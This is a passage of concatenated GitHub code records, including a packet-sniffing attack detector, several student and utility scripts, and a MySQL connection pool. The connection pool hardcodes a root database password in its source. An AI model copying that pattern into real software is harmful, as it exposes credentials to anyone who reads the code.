])\n attack_type = 'ICMP-PoD PACKET'\n\n if dst_ip == self.MY_IP:\n if TCP in pkt:\n if tcp_flags == \"S\":\n self.FILTERED_ACTIVITIES['TCP-SYN']['activities'].append([\n pkt.time, ])\n attack_type = 'TCP-SYN PACKET'\n\n elif tcp_flags == \"SA\":\n self.FILTERED_ACTIVITIES['TCP-SYNACK']['activities'].append([\n pkt.time, ])\n attack_type = 'TCP-SYNACK PACKET'\n\n self.RECENT_ACTIVITIES.append(\n [pkt.time, protocol, src_ip, dst_ip, src_mac, dst_mac, src_port, dst_port, load_len, attack_type])\n\n def start(self):\n if not self.flag:\n self.flag = True\n sniff_thread = threading.Thread(target=self.sniffer_threader)\n sniff_thread.daemon = True\n sniff_thread.start()\n analyze_thread = threading.Thread(target=self.analyze_threader)\n analyze_thread.daemon = True\n analyze_thread.start()\n return self.flag\n\n def stop(self):\n self.flag = False\n self.PACKETS_QUEUE = Queue()\n self.RECENT_ACTIVITIES = []\n self.FILTERED_ACTIVITIES = {\n 'TCP-SYN': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'TCP-SYNACK': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'ICMP-POD': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'ICMP-SMURF': {'flag': False, 'activities': [], 'attacker-mac': []},\n }\n return self.flag\n\n\ndef clear_screen():\n if \"linux\" in sys.platform:\n os.system(\"clear\")\n elif \"win32\" in sys.platform:\n os.system(\"cls\")\n else:\n pass\n\n\ndef is_admin():\n try:\n return os.getuid() == 0\n except AttributeError:\n pass\n try:\n return ctypes.windll.shell32.IsUserAnAdmin() == 1\n except AttributeError:\n return False\n","repo_name":"priyamharsh14/SniffnDetect","sub_path":"sniffndetect.py","file_name":"sniffndetect.py","file_ext":"py","file_size_in_byte":6876,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"2"} +{"seq_id":"21906703930","text":"#din modulul exceptii al pachetului erori importam clasa ValidError (obictele acestei clase vor fi de fapt obiecte de clasa Exception)\nfrom erori.exceptii import ValidError\nimport datetime\n\nclass ValidatorInchiriere:\n #clasa pe care o definim pentru a valida campurile (componentele) unui obiect de clasa Inchiriere\n\n def __valideaza_an_bisect(self, an_curent):\n #metoda privata care verifica daca un an dat ca si argument/parametru este sau nu bisect\n #date de intrare: an_curent - un an (numar intreg fara semn (unsigned)) care indica anul curent\n #date de iesire: True - anul an_curent este bisect\n # False - anul an_curent nu este bisect\n\n if ((an_curent % 4 == 0) and (an_curent % 100 != 0)):\n return True\n if (an_curent % 400 == 0):\n return True\n return False\n\n def __zile_luni_an_curent(self, an_curent):\n #metoda privata care returneaza o mapare (structura de date de tip map) a lunilor (chei) la numarul de zile corespunzator (valori numerice ale cheilor)\n #date de intrare: an_curent - anul curent\n #date de iesire: map care contine pentru fiecare luna din an (indexata de la 1 la 12, incepand cu luna februarie si terminand cu decembrie) numarul de zile\n\n if self.__valideaza_an_bisect(an_curent) == True: #verificam daca anul curent este sau nu bisect pentru a determina numarul de zile din luna februarie\n an_bisect = 1 #anul curent este bisect (februarie are 29 de zile)\n else:\n an_bisect = 0 #anul curent nu este bisect (februarie are 28 de zile)\n\n #returnam un map care pentru fiecare luna din an contine numarul de zile din luna respectiva\n return {1 : 31, #luna ianuarie (1) contine 31 de zile\n 2 : (28 + an_bisect), #luna februarie (2) contine 28 de zile daca anul curent nu este bisect si 29 daca este\n 3 : 31, #luna martie (3) contine 31 de zile\n 4 : 30, #luna aprilie (4) contine 30 de zile\n 5 : 31, #luna mai (5) contine 31 de zile\n 6 : 30, #luna iunie (6) contine 30 de zile\n 7 : 31, #luna iulie (7) contine 31 de zile\n 8 : 31, #luna august (8) contine 31 de zile\n 9 : 30, #luna septembrie (9) contine 30 de zile\n 10: 31, #luna octombrie (10) contine 31 de zile\n 11: 30, #luna noiembrie (11) contine 30 de zile\n 12: 31} #luna decembrie (12) contine 31 de zile\n\n def __valideaza_termen_predare(self, data_rea):\n #metoda privata care valideaza daca o data pasata ca si parametru/argument la apelul metodei/functiei poate sa fie un termen de predare pentru un film (adica daca data este in viitor, cel mai devreme maine fata de momentul inchirierii filmului)\n #date de intrare: data_rea - un obiect de clasa Data\n #date de iesire: err - lista de erori (daca este vida => data data_rea este valida, in caz contrar (len(err) != 0 <=> lista de erori nu e vida) data_rea nu reprezinta o data valida)\n\n data_curenta = datetime.datetime.now() #data curenta\n zi_curenta = data_curenta.day #ziua curenta\n luna_curenta = data_curenta.month #luna curenta\n an_curent = data_curenta.year #anul curent\n\n err = '' #lista de erori (sir de caractere)\n\n if data_rea.get_an() < an_curent:\n err += 'termen de predare invalid!\\n' #adaugam eroare la lista de erori\n elif data_rea.get_an() == an_curent:\n if data_rea.get_luna() < luna_curenta:\n err += 'termen de predare invalid!\\n' #adaugam eroare la lista de erori\n elif data_rea.get_luna() == luna_curenta:\n if data_rea.get_zi() <= zi_curenta:\n err += 'termen de predare invalid!\\n' #adaugam eroare la lista de erori\n\n return err #returnam lista de erori\n\n #clasa pe care o definim pentru a valida campurile (componentele) unui obiect de clasa Data (adica atributele zi, luna si an)\n def __valideaza_data(self, data_rea):\n #metoda privata care valideaza o data calendaristica data_rea (verifica ca valorile din campurile/atributele zi, luna si an sa fie valori valide)\n #date de intrare: data_rea - data calendaristica (obiect de clasa Data)\n #date de iesire: err - lista (sir de caractere sau string) de erori\n\n zile_luna = self.__zile_luni_an_curent(data_rea.get_an()) #map care contine ca si chei numarul tuturor lunilor din an si ca si valori numarul de zile al acestora\n\n err = '' #lista de erori care este initial vida (nu s-au gasit erori inca)\n\n if data_rea.get_zi() < 1 or ((data_rea.get_luna() >= 1 and data_rea.get_luna() <= 12) and data_rea.get_zi() > zile_luna[data_rea.get_luna()]):\n err += 'zi invalida!\\n'\n if data_rea.get_luna() < 1 or data_rea.get_luna() > 12:\n if not len(err):\n err += 'zi invalida!\\n'\n err += 'luna invalida!\\n'\n if data_rea.get_an() < 1:\n err += 'an invalid!\\n'\n\n if len(err): #s-a detectat cel putin un camp/atribut invalid pentru data calendaristica primita de metoda/fuctia curenta ca si parametru\n return err #returnam lista de erori\n\n return self.__valideaza_termen_predare(data_rea) #verificam daca data calendaristica data_rea (validata cu succes) poate sa reprezinte un termen de returnare (retur) a unui film\n\n #clasa pe care o definim pentru a valida campurile (componentele) unui obiect de clasa Inchiriere\n def valideaza(self, inchiriere_rea):\n #metoda corespunzatoare unui obiect de clasa ValidatorInchiriere care valideaza campurile unui obiect de clasa Inchiriere\n #date de intrare: inchiriere_rea - obiect de clasa Inchiriere pe care dorim sa il validam\n #date de iesire: nimic - daca inchirierea inchiriere_rea este valida (fiecare camp al acestui obiect de clasa Inchiriere respecta restrictiile impuse asupra campului respectiv)\n # eroare de tipul ValidError (Exception) cu mesajul err - daca cel putin un camp al inchirierii inchiriere_rea nu este valid (prin urmare obiectul inchiriere_rea de clasa Inchiriere va fi la randul lui invalid)\n\n err = '' #lista de erori (sir de caractere/string)\n\n if inchiriere_rea.get_id_inchiriere() < 0: #campul id_inchiriere al unui obiect de clasa Inchiriere este un numar natural\n #campul id_inchiriere al inchirierii inchiriere_rea este invalid\n err += 'id inchiriere invalid!\\n' #adaugam eroarea gasita la lista de erori (sir de caractere/string)\n\n err += self.__valideaza_data(inchiriere_rea.get_data()) #validam data din campul data a unui obiect de clasa inchiriere (inchiriere_rea) apeland metoda privata __valideaza_data() avand ca parametru data pe care vrem sa o validam\n\n if len(err): #cel putin un camp/atribut al obiectului de clasa Inchiriere inchiriere_rea este invalid => inchirierea inchiriere_rea este invalida\n raise ValidError(str(err)) #raise Exception(str(err))\n #aruncam o eroare de tipul ValidError (Exception) cu mesajul err (string)","repo_name":"Ampersand25/Movie-Renting-Application","sub_path":"Lab7-9/validare/validator_inchiriere.py","file_name":"validator_inchiriere.py","file_ext":"py","file_size_in_byte":7347,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"4044283658","text":"import math\nimport random\nfrom constants import *\n\n\n# Particle class\nclass Particle:\n def __init__(self, i, mass=0.0,):\n # Position\n self.px = float(random.randint(Width / 2 - Width / 2, Width / 2 + Width / 2))\n self.py = float(random.randint(Height / 2 - Height / 2, Height / 2 + Height / 2))\n # Velocity\n self.vx = 0#float(random.randint(-10, 10))\n self.vy = 0#float(random.randint(-10, 10))\n # Acceleration\n self.ax = 0\n self.ay = 0\n # Radius\n self.r = random.randint(10, 10) * 1.0\n # Boolean to keep track whether the particle still exist\n self.exist = True\n # Randomizing particle color to something visible\n self.color = (random.randint(100, 255) / 255, random.randint(100, 255) / 255, random.randint(100, 255) / 255)\n # Initialize mass\n if mass == 0:\n self.setM()\n else:\n self.mass = mass * 1.0\n self.setR()\n # Initialize node id\n self.id = i\n\n # A method to manually set position and mass, used for easier force calculations\n def setP(self, x, y, m):\n self.px, self.py, self.mass = x, y, m\n\n # Calculate new acceleration due to another particle a\n def addA(self, a):\n dx = a.px - self.px\n dy = a.py - self.py\n dist2 = dx * dx + dy * dy\n Gforce = GC * self.mass * a.mass / dist2 if dist2 > 1e-9 else 0.0\n dist = math.sqrt(dist2)\n # Using Gravitational Force Formula for vector quantities\n self.ax += Gforce / dist * dx\n self.ay += Gforce / dist * dy\n\n # Calculate final position of the particle after checking all other ones\n def updatePV(self):\n self.vx += self.ax * DT\n self.vy += self.ay * DT\n self.px += self.vx * DT\n self.py += self.vy * DT\n # If the particle hits boundary, bounce back and lose a \"bit\" of energy\n if self.px < 10 or math.fabs(Width - self.px) < 10:\n self.vx = -self.vx * 0.8\n if self.py < 10 or math.fabs(Height - self.py) < 10:\n self.vy = -self.vy * 0.8\n\n # Set Mass from radius and density\n def setM(self):\n self.mass = Density * 4.0 / 3.0 * self.r ** 3 * math.pi\n\n # Used to calculate new radius after merging masses\n def setR(self):\n self.r = (self.mass * 3.0 / (Density * 4.0 * math.pi)) ** (0.33333333)\n\n # Test if two particles collided\n def collide(self, a):\n dx = a.px - self.px\n dy = a.py - self.py\n dist2 = dx * dx + dy * dy\n return dist2 < (self.r + a.r) ** 2\n","repo_name":"Kevinwen1999/nbody","sub_path":"particle.py","file_name":"particle.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71670136687","text":"\"\"\"Implements COVID SLIC Dataset\"\"\"\n\nimport os\n\nimport pandas as pd\nimport torch\nfrom PIL import Image\n\n# import numpy as np\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\n\nfrom src.modules.transforms import *\nfrom src.utils.mapper import configmapper\n\n\n# from src.utils.viz import visualize_geometric_graph\n# import matplotlib.pyplot as plt\n\n\n@configmapper.map(\"datasets\", \"covid_slic\")\nclass CovidSlic(Dataset):\n def __init__(self, config):\n super().__init__()\n self.config = config\n\n transformations = []\n for transform in config.transform_args:\n param_dict = (\n dict(transform[\"params\"]) if transform[\"params\"] is not None else {}\n )\n transformations.append(\n configmapper.get_object(\"transforms\", transform[\"type\"])(**param_dict)\n )\n self.transform = (\n transforms.Compose(transformations) if transformations != [] else None\n )\n\n self.data_paths_df = pd.read_csv(config.data_paths_csv)\n self.data_paths_df[\"path\"] = self.data_paths_df[\"path\"].apply(\n lambda x: os.path.join(\"/\".join(config.data_paths_csv.split(\"/\")[:-1]), x)\n )\n\n def __len__(self):\n return self.data_paths_df.shape[0]\n\n def __getitem__(self, idx):\n image = Image.open(self.data_paths_df.iloc[idx][\"path\"]).convert(\"L\")\n label = self.data_paths_df.iloc[idx][\"label\"]\n if self.transform is not None:\n graph = self.transform(image)\n\n # pix = np.array(image.resize((256,256)).getdata()).reshape(256,256)\n # plt.imsave(f\"covid_{label}.pdf\", pix)\n # visualize_geometric_graph(graph, f\"covid_graph_{label}.pdf\",0.5094362248497217, 0.25237422057401465, pix)\n\n return {\"graph\": graph, \"label\": torch.tensor(label, dtype=torch.long)}\n","repo_name":"abheesht17/super-pixels","sub_path":"src/datasets/covid_slic.py","file_name":"covid_slic.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"2"} +{"seq_id":"34090609790","text":"import openpyxl\r\nimport matplotlib.pyplot as plt\r\n\r\ndef get_filename():\r\n filename = input(\"Input filename: \")\r\n return filename\r\n\r\ndef get_data_salary(filename):\r\n # Создадим контейнер\r\n posts = {}\r\n # Откроем файл\r\n source_book = openpyxl.load_workbook(filename)\r\n # Data\r\n sheet = source_book['Data']\r\n pairs = sheet['G2':'H4495']\r\n for c1, c2 in pairs:\r\n if c1.value in posts:\r\n posts[c1.value][0] += 1\r\n posts[c1.value][1] += c2.value\r\n else:\r\n posts[c1.value] = [1, c2.value]\r\n return posts\r\n\r\ndef average_salary(posts):\r\n for everyone in posts:\r\n posts[everyone] = posts[everyone][1]/posts[everyone][0]\r\n return posts\r\n\r\ndef show_bar(posts):\r\n # Object Counter не стал использовать, так как по сути тот же словарь\r\n heights = [posts[item] for item in posts] #counter_obj.values()\r\n bars = [item for item in posts] #counter_obj.keys()\r\n y_pos = range(len(bars))\r\n \r\n # Хотел красивые границы сделать.\r\n find_max, find_min = round(max(heights)), round(min(heights))\r\n plt.ylim(find_min - 1000, find_max + 1000)\r\n\r\n # Повороты\r\n plt.bar(y_pos, heights, align='center', alpha=1)\r\n plt.xticks(y_pos, bars, rotation=90)\r\n # Лейблы\r\n plt.ylabel('Средняя заработная плата')\r\n plt.title('График зависимости средней зарплаты от должности')\r\n\r\n # Сохраняем\r\n file_name = 'attitude_to_earnings.png'\r\n plt.savefig(file_name)\r\n plt.show()\r\n\r\ndef main():\r\n input_file = get_filename()\r\n average_salary_data = average_salary(get_data_salary(input_file))\r\n show_bar(average_salary_data)\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"gHuwk/python_MEPhI","sub_path":"lab_04/lab_04.py","file_name":"lab_04.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"22154942684","text":"import requests\nimport os\nimport json\nimport sys\n\n# has auth info\napi_call_header = \"\"\n\ndef main():\n global api_call_header\n\n if (len(sys.argv) < 2):\n raise Exception(\"Missing bearer_token as command line arg\")\n bearer_token = sys.argv[1]\n api_call_header = create_headers(bearer_token)\n\n if (len(sys.argv) < 3):\n raise Exception(\"Missing users to base to-follow recommendation on\")\n\n username_list = sys.argv[2:]\n\n userids_url = get_userids_url(username_list)\n userids_response = connect_to_endpoint(userids_url)\n userids = get_userids(userids_response)\n\n to_follow_dict = {}\n for userid in userids:\n add_following(userid, to_follow_dict, \"\")\n\n print(json.dumps(to_follow_dict, indent=4, sort_keys=True))\n print(len(to_follow_dict))\n for key, value in to_follow_dict.items():\n if value['frequency'] > 1:\n print(key)\n print(value)\n\ndef add_following(userid, to_follow_dict, next_token):\n \"\"\"\n following shape:\n { : { \n userid : ,\n followers_count : ,\n frequency : -- how fequent is this user as a following for given users\n }\n }\n \"\"\"\n following_url = get_following_url(userid, next_token)\n\n print(following_url)\n following_response = connect_to_endpoint(following_url)\n for following in following_response[\"data\"]:\n username = following['username']\n userid = following['id']\n followers_count = following['public_metrics']['followers_count']\n frequency = 1\n if username in to_follow_dict:\n frequency = frequency + to_follow_dict[username]['frequency']\n to_follow_dict[username] = {'userid' : userid, 'followers_count' : followers_count, 'frequency' : frequency}\n\n if 'meta' in following_response and 'next_token' in following_response['meta']:\n next_token = following_response['meta']['next_token']\n add_following(userid, to_follow_dict, next_token)\n\n return to_follow_dict\n\ndef get_following_url(userid, next_token):\n url = \"https://api.twitter.com/2/users/{}/following?max_results=999&user.fields=public_metrics\".format(userid)\n if len(next_token) > 0:\n url = url + \"&pagination_token=\" + next_token\n return url\n\ndef connect_to_endpoint(url):\n global api_call_header\n response = requests.request(\"GET\", url, headers=api_call_header)\n if response.status_code != 200:\n raise Exception(\n \"Request returned an error: {} {}\".format(\n response.status_code, response.text\n )\n )\n return response.json()\n\ndef create_headers(bearer_token):\n headers = {\"Authorization\": \"Bearer {}\".format(bearer_token)}\n return headers\n\ndef get_userids_url(username_list):\n usernames = \"usernames=\" + ','.join(username_list)\n url = \"https://api.twitter.com/2/users/by?{}\".format(usernames)\n return url\n\ndef get_userids(userids_response):\n userids = set()\n\n for user in userids_response[\"data\"]:\n userids.add(user[\"id\"])\n\n return userids\n\nif __name__ == \"__main__\":\n main()","repo_name":"sayak-k/twitterToFollow","sub_path":"toFollow.py","file_name":"toFollow.py","file_ext":"py","file_size_in_byte":3164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"74833118445","text":"from mysql.connector.pooling import MySQLConnectionPool\nfrom mysql.connector import errorcode\nimport time\nimport traceback\n\n# Our database manager class, this creates a pool of connections \n# It also allows for api calls to user one of these connections for it SQL statements\n# This allows for multiple SQL statements to execute concurrently\nclass DatabaseManager:\n\n\t# Initialise function for setting up database manager\n\tdef __init__(self):\n\t\t# Calls the create connection pool function so that connection pool\n\t\t# exists as soon as database manager object is created\n\t\tself.createConnectionPool()\t\n\t\t\n\t# Function for creating a pool of database connections\n\tdef createConnectionPool(self):\n\n\t\t# The configuration values necessary to connect to the desired database\n\t\tdbconfig = {\n\t\t\"user\": \"root\",\n\t\t\"password\":\"ePBsjLQV\",\n\t\t\"database\":'desapi'\n\t\t}\n\n\t\ttry:\n\t\t\t# Creates a pool of connections, the size of this pool is 32\n\t\t\tself.cnxpool = MySQLConnectionPool(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tpool_name = \"mypool\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tpool_size = 32,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t**dbconfig)\n\t\texcept:\n\t\t\t# sleep and retry - the MySQL container probably not up and running yet\n\t\t\tprint(\"Exception... sleeping for 5 seconds then retry\")\n\t\t\ttb = traceback.format_exc()\n\t\t\tprint(tb)\n\t\t\ttime.sleep(5)\n\t\t\t# try again\n\t\t\treturn self.createConnectionPool()","repo_name":"dionb112/FinalYearProject","sub_path":"Server/database_manager.py","file_name":"database_manager.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"3312469160","text":"import sys\ninput = sys.stdin.readline\ndef I():return list(map(int,input().split()))\nfor _ in range(int(input())):\n n,k=I()\n s=input().strip()\n a=[0]*26\n for ch in s:\n a[ord(ch)-97]+=1\n # print(a)\n ans=\"\"\n tot=n//k\n # print(tot)\n \n for K in range(k):\n count=0\n d=[]\n for i in range(26):\n if a[i]>0:\n a[i]-=1\n count+=1\n d.append(i)\n if count==tot:\n break\n # if count1:\n # a[i]-=1\n # count+=1\n # d.append(i)\n # if count==tot:\n # break \n # print(d)\n mex=0\n for i in d:\n if i==mex:\n mex+=1\n ans += str(chr(97+mex))\n print(ans)\n ","repo_name":"vedantkokate07/Coding-Conest","sub_path":"CodeForces/Dytechlab Cup 2022/A. Ela Sorting Books.py","file_name":"A. Ela Sorting Books.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"36844919618","text":"class Solution:\n def findMaximizedCapital(self, k, w, profit, capital):\n n = len(profit)\n caps, profs = list(zip(capital, profit)), []\n heapify(caps)\n\n for _ in range(min(k, n)):\n while caps and caps[0][0] <= w:\n c, p = heappop(caps)\n heappush(profs, -p)\n if not profs: break\n w += -heappop(profs)\n\n return w\n","repo_name":"simonesestili/problems-dsa","sub_path":"502.py","file_name":"502.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"19654851308","text":"__copyright__ = \"Copyright (c) 2020 Jina AI Limited. All rights reserved.\"\n__license__ = \"Apache-2.0\"\n\nimport numpy as np\n\nfrom jina.executors.decorators import batching, as_ndarray\nfrom jina.executors.encoders import BaseVideoEncoder\nfrom jina.executors.encoders.frameworks import BaseTorchEncoder\n\n\nclass VideoTorchEncoder(BaseTorchEncoder, BaseVideoEncoder):\n \"\"\"\n Encode `Document` content from a ndarray, using the models from `torchvision.models`.\n\n :class:`VideoTorchEncoder` encodes content from a ndarray, potentially\n B x T x (Channel x Height x Width) into an ndarray of `B x D`.\n Internally, :class:`VideoTorchEncoder` wraps the models from\n `torchvision.models`: https://pytorch.org/docs/stable/torchvision/models.html\n\n :param model_name: the name of the model.\n Supported models include ``r3d_18``, ``mc3_18``, ``r2plus1d_18``\n Default is ``r3d_18``.\n :param pool_strategy: the pooling strategy\n - `None` means that the output of the model will be the 4D tensor\n output of the last convolutional block.\n - `mean` means that global average pooling will be applied to the\n output of the last convolutional block, and thus the output\n of the model will be a 2D tensor.\n - `max` means that global max pooling will be applied.\n \"\"\"\n\n def __init__(self,\n model_name: str = 'r3d_18',\n channel_axis: int = 1,\n pool_strategy: str = 'mean',\n *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.channel_axis = channel_axis\n self.model_name = model_name\n self._default_channel_axis = 2\n if pool_strategy not in ('mean', 'max', None):\n raise NotImplementedError(f'unknown pool_strategy: {self.pool_strategy}')\n self.pool_strategy = pool_strategy\n\n def post_init(self):\n \"\"\"Load Torch model\"\"\"\n super().post_init()\n import torchvision.models.video as models\n if self.pool_strategy is not None:\n self.pool_fn = getattr(np, self.pool_strategy)\n self.model = getattr(models, self.model_name)(pretrained=True).eval()\n self.to_device(self.model)\n\n def _get_features(self, x):\n x = self.model.stem(x)\n x = self.model.layer1(x)\n x = self.model.layer2(x)\n x = self.model.layer3(x)\n x = self.model.layer4(x)\n x = self.model.avgpool(x)\n x = x.flatten(1)\n return x\n\n def _get_pooling(self, feature_map: 'np.ndarray') -> 'np.ndarray':\n if feature_map.ndim == 2 or self.pool_strategy is None:\n return feature_map\n return self.pool_fn(feature_map, axis=(2, 3))\n\n @batching\n @as_ndarray\n def encode(self, content: 'np.ndarray', *args, **kwargs) -> 'np.ndarray':\n \"\"\"\n Encode ``Document`` content from a ndarray.\n\n :param content: a `B x T x (Channel x Height x Width)` numpy ``ndarray``,\n `B` is the size of the batch, `T` is the number of frames\n :return: a `B x D` numpy ``ndarray``, `D` is the output dimension\n \"\"\"\n if self.channel_axis != self._default_channel_axis:\n content = np.moveaxis(content, self.channel_axis, self._default_channel_axis)\n import torch\n _input = torch.from_numpy(content.astype('float32'))\n if self.on_gpu:\n _input = _input.cuda()\n _feature = self._get_features(_input).detach()\n if not self.on_gpu:\n _feature = _feature.cpu()\n _feature = _feature.numpy()\n return self._get_pooling(_feature)","repo_name":"jina-ai/jina-hub","sub_path":"encoders/video/VideoTorchEncoder/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","stars":102,"dataset":"github-code","pt":"2"} +{"seq_id":"8433228387","text":"# Written by: Nick Gerend, @dataoutsider\n# Viz: \"Takeoff\", enjoy!\n\nimport pandas as pd\nimport os\nfrom datetime import datetime\n\n# df_m = pd.read_csv(os.path.dirname(__file__) + '/MASTER.csv', dtype=pd.StringDtype())\n# df_a = pd.read_csv(os.path.dirname(__file__) + '/ACFTREF.csv', dtype=pd.StringDtype())\n# df_a.rename(columns={'MFR': 'MFR_Aircraft', 'MODEL': 'Model_Aircraft'}, inplace=True)\n# df_e = pd.read_csv(os.path.dirname(__file__) + '/ENGINE.csv', dtype=pd.StringDtype())\n# df_e.rename(columns={'MFR': 'MFR_Engine', 'MODEL': 'Model_Engine'}, inplace=True)\n# df_lookup = pd.read_csv(os.path.dirname(__file__) + '/Lookup.csv', dtype=pd.StringDtype())\n# df = pd.merge(df_m, df_a, how='left', left_on=['MFR MDL CODE'], right_on = ['CODE'])\n# df = pd.merge(df, df_e, how='left', left_on=['ENG MFR MDL'], right_on = ['CODE'])\n\n# df = df[['YEAR MFR', 'TYPE REGISTRANT', 'NAME', 'CITY', 'STATE', 'ZIP CODE', 'COUNTRY', 'TYPE AIRCRAFT', 'TYPE ENGINE', 'STATUS CODE', 'AIR WORTH DATE', 'EXPIRATION DATE', 'MFR_Aircraft', 'Model_Aircraft', 'AC-CAT', 'NO-ENG', 'NO-SEATS', 'AC-WEIGHT', 'SPEED', 'MFR_Engine', 'Model_Engine', 'HORSEPOWER', 'THRUST']]\n\n# df['TYPE ENGINE'] = df['TYPE ENGINE'].astype(int)\n\n# df_Reg = df_lookup.loc[df_lookup['Column']=='Registrant']\n# df_Reg.rename(columns={'Column': 'Column_1', 'Value': 'Registrant', 'Code': 'Code_1'}, inplace=True)\n# df_Cat = df_lookup.loc[df_lookup['Column']=='Category']\n# df_Cat.rename(columns={'Column': 'Column_2', 'Value': 'Category', 'Code': 'Code_2'}, inplace=True)\n# df_Wei = df_lookup.loc[df_lookup['Column']=='Weight']\n# df_Wei.rename(columns={'Column': 'Column_3', 'Value': 'Weight', 'Code': 'Code_3'}, inplace=True)\n# df_Air = df_lookup.loc[df_lookup['Column']=='Aircraft']\n# df_Air.rename(columns={'Column': 'Column_4', 'Value': 'Aircraft', 'Code': 'Code_4'}, inplace=True)\n# df_Eng = df_lookup.loc[df_lookup['Column']=='Engine']\n# df_Eng.rename(columns={'Column': 'Column_5', 'Value': 'Engine', 'Code': 'Code_5'}, inplace=True)\n# df_Eng['Code_5'] = df_Eng['Code_5'].astype(int)\n\n# df = pd.merge(df, df_Reg, how='left', left_on=['TYPE REGISTRANT'], right_on = ['Code_1'])\n# df = pd.merge(df, df_Cat, how='left', left_on=['AC-CAT'], right_on = ['Code_2'])\n# df = pd.merge(df, df_Wei, how='left', left_on=['AC-WEIGHT'], right_on = ['Code_3'])\n# df = pd.merge(df, df_Air, how='left', left_on=['TYPE AIRCRAFT'], right_on = ['Code_4'])\n# df = pd.merge(df, df_Eng, how='left', left_on=['TYPE ENGINE'], right_on = ['Code_5'])\n\n# df = df[['YEAR MFR', 'NAME', 'CITY', 'STATE', 'ZIP CODE', 'COUNTRY', 'STATUS CODE', 'AIR WORTH DATE', 'EXPIRATION DATE', 'MFR_Aircraft', 'Model_Aircraft', 'NO-ENG', 'NO-SEATS', 'SPEED', 'MFR_Engine', 'Model_Engine', 'HORSEPOWER', 'THRUST', 'Registrant', 'Category', 'Weight', 'Aircraft', 'Engine']]\n# df.reset_index(level=0, inplace=True)\n\n# df['NO-SEATS'] = df['NO-SEATS'].astype(int)\n# bins = [0, 5, 10, 25, 50, 100, 250, 500, 1000]\n# df['seats_bin'] = pd.cut(df['NO-SEATS'], bins)\n\n# df['SPEED'] = df['SPEED'].astype(float)\n# bins2 = [-5., 0., 100., 200., 300., 400., 500.]\n# df['speed_bin'] = pd.cut(df['SPEED'], bins2)\n\n# df.to_csv(os.path.dirname(__file__) + '/aircraft.csv', encoding='utf-8', index=False)\n\ndf = pd.read_csv(os.path.dirname(__file__) + '/aircraft.csv', dtype=pd.StringDtype())\n\ndf['AIR WORTH DATE'] = df['AIR WORTH DATE'].str.strip()\ndf_2020 = df.loc[(df['AIR WORTH DATE'].notnull()) & (df['AIR WORTH DATE']!='')]\n\ndf_2020['A_W_Date'] = [datetime.strptime(t, '%Y%m%d') for t in df_2020['AIR WORTH DATE']]\ndf_2020['A_W_Date_Year'] = df_2020['A_W_Date'].dt.year\n\ndf_2020 = df_2020.loc[(df_2020['A_W_Date_Year'] == 2020)]\n\ndf_2020['Registrant'] = df_2020['Registrant'].str.strip()\ndf_2020 = df_2020.loc[(df_2020['Registrant'].notnull()) & (df_2020['Registrant']!='')]\n\ndf_2020['Aircraft'] = df_2020['Aircraft'].str.strip()\ndf_2020 = df_2020.loc[(df_2020['Aircraft'].notnull()) & (df_2020['Aircraft']!='')]\n\ndf_2020['Engine'] = df_2020['Engine'].str.strip()\ndf_2020 = df_2020.loc[(df_2020['Engine'].notnull()) & (df_2020['Engine']!='')]\n\ndf_2020['seats_bin'] = df_2020['seats_bin'].str.strip()\ndf_2020 = df_2020.loc[(df_2020['seats_bin'].notnull()) & (df_2020['seats_bin']!='')]\n\ndf_2020['speed_bin'] = ['Unknown' if '-5.0' in x else x for x in df_2020['speed_bin']]\n\ndf_2020.to_csv(os.path.dirname(__file__) + '/aircraft_2020.csv', encoding='utf-8', index=False)\n\nprint('finished')","repo_name":"nickgerend/Takeoff","sub_path":"prep.py","file_name":"prep.py","file_ext":"py","file_size_in_byte":4386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"37451920900","text":"import csv\n\nclass Logger(object):\n\n @classmethod\n def log_reader(cls):\n\n with open('rabota_data.csv', 'r') as csv_file:\n csv_reader = csv.reader(csv_file)\n\n for line in csv_reader:\n print(line)\n\n @classmethod\n def log_cleaner(cls):\n\n with open('rabota_data.csv', 'w') as csv_file:\n csv_file.truncate()\n\n @classmethod\n def log_writer(cls, data):\n\n log_row = [data['name'], data['city'], data['description']]\n\n with open('rabota_data.csv', 'a') as csv_file:\n csv_writer = csv.writer(csv_file, delimiter=',')\n csv_writer.writerow(log_row)\n","repo_name":"Vika030718/LerningPython","sub_path":"ParserForRabotaCom/rabota_parser_loggin.py","file_name":"rabota_parser_loggin.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"38318676462","text":"import encodings\nfrom keras.layers import Dense, Activation, SimpleRNN\nfrom keras.models import Sequential\nimport numpy as np\n\nInput_file = \"Keras_and_Python/ch06/11-0.txt\"\nwith open(Input_file, \"r\", encoding=\"utf-8\") as f:\n lines = [line.strip().lower() for line in f\n if len(line) 